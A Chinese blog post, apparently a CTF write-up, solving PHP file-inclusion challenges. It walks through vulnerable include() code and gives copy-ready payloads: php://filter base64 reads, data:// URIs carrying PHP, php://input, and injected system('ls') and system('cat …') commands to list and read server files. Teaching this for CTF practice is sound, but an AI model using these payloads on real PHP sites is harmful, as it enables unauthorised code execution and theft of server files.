文件包含的提升刷题

上一篇文章:一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含,那现在开始拔高提升刷题!

1.

拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。

直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,

看来我上一篇文章的就知道,直接伪协议开始读取,

?file=php://filter/read=convert.base64-encode/resource=xxx.php

这个是基本的格式啊,

这里因为要写入cookie,而且首页还提示了网站首页目录  /var/www/html/index.php,

那就稍作修改,抓包,添加cookie并且写入

 language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

(2)

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

提示:PHP file_get_contents () 函数

  • 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
  • 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf 
  • ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
  • 这个payload在上一篇文章开头就有类似的,需要可以自行复制
  •  上一篇文章:一篇文章带你入门文件包含-CSDN博客

  • 然后再来一道永恒的经典!!!

  • <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

这道题目有多种解法:

二话不说,先给大家献上干货,以下是CTF伪协议的常见用法,遇到直接自行复制使用即可

补充一下,第一点的<?php phpinfo()?>如果找不到flag,那也别傻站着,换个命令,<?php system("ls")?>或者直接<?php system("cat flag.php")?>

第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的<?php phpinfo()?>,如果这个不行,也别傻站着,换个命令,你不知道对面会过滤什么,唯有多尝试。

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
 

这里拿一道题目演示成果:

?file=data:text/plain,<?php phpinfo()?>直接丢进去,就出现phpinfo,如果ctrl+f查找flag,发现没有,那也别傻站着,换个命令。<?php system("ls")?>

最后直接<?php system("cat fl4gisisish3r3.php")?>直接拿下

以上只是基本思路,因为看题目它过滤了php://,也就是用不了php:input协议那就换成data://text/plain协议,如果过滤的很严格,那就可以尝试下文件日志包含,以上只是提供了基本解题思路,如果你第一种方法失效了,就说明被过滤了,后面还有很多方法,别愣着,如果不知道对面过滤了什么,那就一个一个尝试。

以上只是其中微不足道的一种方法,这里通过我的见解抛砖引玉。如果各位能够想出两种甚至三种方法做出这道题,那么你就可以说自己已经离开了文件上传的新手村了
 

祝大家CTF玩的开心

相关推荐

  1. 蓝桥杯文件包含多道练习题)

    2023-12-20 07:30:04       38 阅读
  2. 蓝桥杯-包子凑数

    2023-12-20 07:30:04       37 阅读
  3. 文件包含

    2023-12-20 07:30:04       51 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-20 07:30:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-20 07:30:04       106 阅读
  3. 在Django里面运行非项目文件

    2023-12-20 07:30:04       87 阅读
  4. Python语言-面向对象

    2023-12-20 07:30:04       96 阅读

热门阅读

  1. 实战:使用Spring Boot监控SQL执行

    2023-12-20 07:30:04       69 阅读
  2. 黑豹程序员-安装docker-ce

    2023-12-20 07:30:04       57 阅读
  3. Jupyter的简单实用

    2023-12-20 07:30:04       63 阅读
  4. 论文笔记 | ICLR 2023 WikiWhy:回答和解释因果问题

    2023-12-20 07:30:04       74 阅读
  5. hadoop完全分布式搭建

    2023-12-20 07:30:04       47 阅读
  6. 第十六章 爬虫scrapy登录与中间件

    2023-12-20 07:30:04       50 阅读
  7. Pytorch当中nn.AvgPool3d()和nn.AdaptiveAvgPool3d()的区别

    2023-12-20 07:30:04       61 阅读